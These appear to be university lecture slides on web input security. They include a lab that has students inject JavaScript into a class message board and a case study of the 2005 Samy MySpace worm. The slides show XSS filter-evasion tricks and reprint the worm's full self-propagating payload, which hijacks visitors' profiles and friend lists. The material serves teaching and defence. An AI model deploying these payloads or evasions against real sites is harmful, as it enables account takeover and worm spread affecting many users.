IT350 Web and Internet Programming

Set 18: Security, Hacking

…and myspace

myspace
.com

Input to your Website

- How does a user input information to your site?
- How does your server-side code process the input?
- How do you store the input?
- Does the input later appear on your site? Verbatim?

Status Updates

- What is a status update?

- Do you have any constraints on an update?

Lab Exercise

- Teams of 3

- Visit this website, and post a message!
  - http://intranet.cs.usna.edu/~nchamber/hack/it350-team3/bufftalk.pl

Lab Exercise

- Teams of 3
- Visit this website, and post a message!
  - http://intranet.cs.usna.edu/~nchamber/hack/bufftalk.pl
- **Now break it.**

Displaying User Content

** Dangerous, but necessary in all social media!

Bare Minimum Security Options

1. Check all strings for HTML tags, reject them
2. Replace < > characters with &gt; and &lt;
3. (need a lot more if databases are involved)

Injection: HTML vs Javascript

- HTML injection can ruin a page's display, but not much else

- Javascript injection can ***steal*** information
  - It can read your cookies
  - Redirect to other (fake) websites
  - AJAX: 'redirects' ***without the user knowing***

Lab Exercise

1. Inject Javascript, but do not break the page.
   - Why would a malicious hacker not want to visibly break it?

2. Find out what cookies are stored for the page

3. Inject Javascript to display the user's name to the screen ("I see you X!!").

Let’s just block <script>!!

- Easy enough: check all input strings for <script> and reject them

- Is that good enough?

Samy is my hero.

- MySpace during the heyday of MySpace: **2005**
- A 19 year old with too much time on his hands.

myspace.com

Simple Javascript injection that eventually forced MySpace to shut its servers down.

MySpace Basics

- MySpace has always been "customizable" from its early beginnings.
- You can submit biographical information as raw text, but HTML tags are allowed.
- Many tags are blocked, but CSS is fair game.

Samy's Original Goal

When someone visits your profile…

1. The visitor sends Samy a friend request
   – Javascript sent a POST
2. The visitor adds text to his/her profile
   – "but most of all, Samy is my hero"
3. The visitor copies the javascript code to his/her profile
   – All visitors to their page will now repeat this process

Injecting into MySpace

- Already blocked:
  - <script>, onclick, onhover, onmouseover, …

- Some browsers allowed Javascript in CSS!
  - <div style="background:url('javascript:alert(1)')">

- The injection begins:

```
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval(document.all.mycode.
expr)')">
```

```
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval(document.all
.mycode.expr)')">
```

- But MySpace blocked all “javascript” strings!
  - Insert an innocuous newline

```
<div id="mycode" expr="alert('hah!')"
style="background:url('java
script:eval(document.all.mycode.expr)')">
```

Escaped Quotes Blocked

- MySpace stripped out escaped quotes \” and \’
- Solution?

String.fromCharCode(34)

```
<div id="mycode" expr="alert('double quote: ' +
String.fromCharCode(34))"
style="background:url('java
script:eval(document.all.mycode.expr)')">
```

Doing real damage

- Injection attacks are fun until the injection actually gets access to personal data.
- Samy accesses the user’s ID from the page itself.
  - document.body.innerHTML
- MySpace blocks “innerHTML” from input
  - Samy appends strings: **'document.body.inne' + 'rHTML'**

How do we add code to a profile?

- Goal: add “samy is my hero” and new javascript to the visitor’s own profile page

1. Grab your visitor’s unique ID.
2. Use AJAX to do a GET on the user’s personal profile.
3. Search the returned profile’s text for “heroes”
4. Use AJAX to do a POST to update the user’s profile

Summary

1. The visitor sends Samy a friend request
   - Javascript sent a POST
2. The visitor adds text to his/her profile
   - “Samy is my hero”
3. The visitor adds the entire javascript code to his/her profile
   - All visitors to their page will now repeat this process

```
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')“ expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var
AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];
if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){get
Data(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new
String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-
1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function
httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true); if(BJ=='POST') {J.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)} J.send(BK) ;return true}function
findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var
T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var
AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv
id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var
AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG; AS['hash']=getHiddenParameter(AU,'hash');
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var
AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();
httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken
='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var
AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new
Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=‘+AR,nothing,'POST',paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);
if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-
Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
```

What Happened (Oct 4, 2005)

- 12:34am posted code to his profile
- 1:30am **1 friend request**
  - “One of my friends’ girlfriend looks at my profile. She’s obviously checking me out.”
- 8:35am **221 friend requests**
  - “Woah”
- 10:30am **561 friend requests**
  - “I’m getting messages from people pissed off”
- 1:30pm **6,373 friend requests**
- 6:20pm **918,268 friend requests**
- 20 hours**: 1/35th of all of myspace**
- 7:05pm **MySpace shuts down**

Aftermath

- **January 2007**: Samy pleads guilty to a felony computer hacking charge
- 3 year probation from touching a computer
- Now works for a security company
  - He discovered that iPhones sent GPS data back to Apple

- **Full technical details:** http://namb.la/popular/tech.html
- **PCWorld**: http://www.pcworld.com/article/139812/myspace_hacker_tells_his_story.html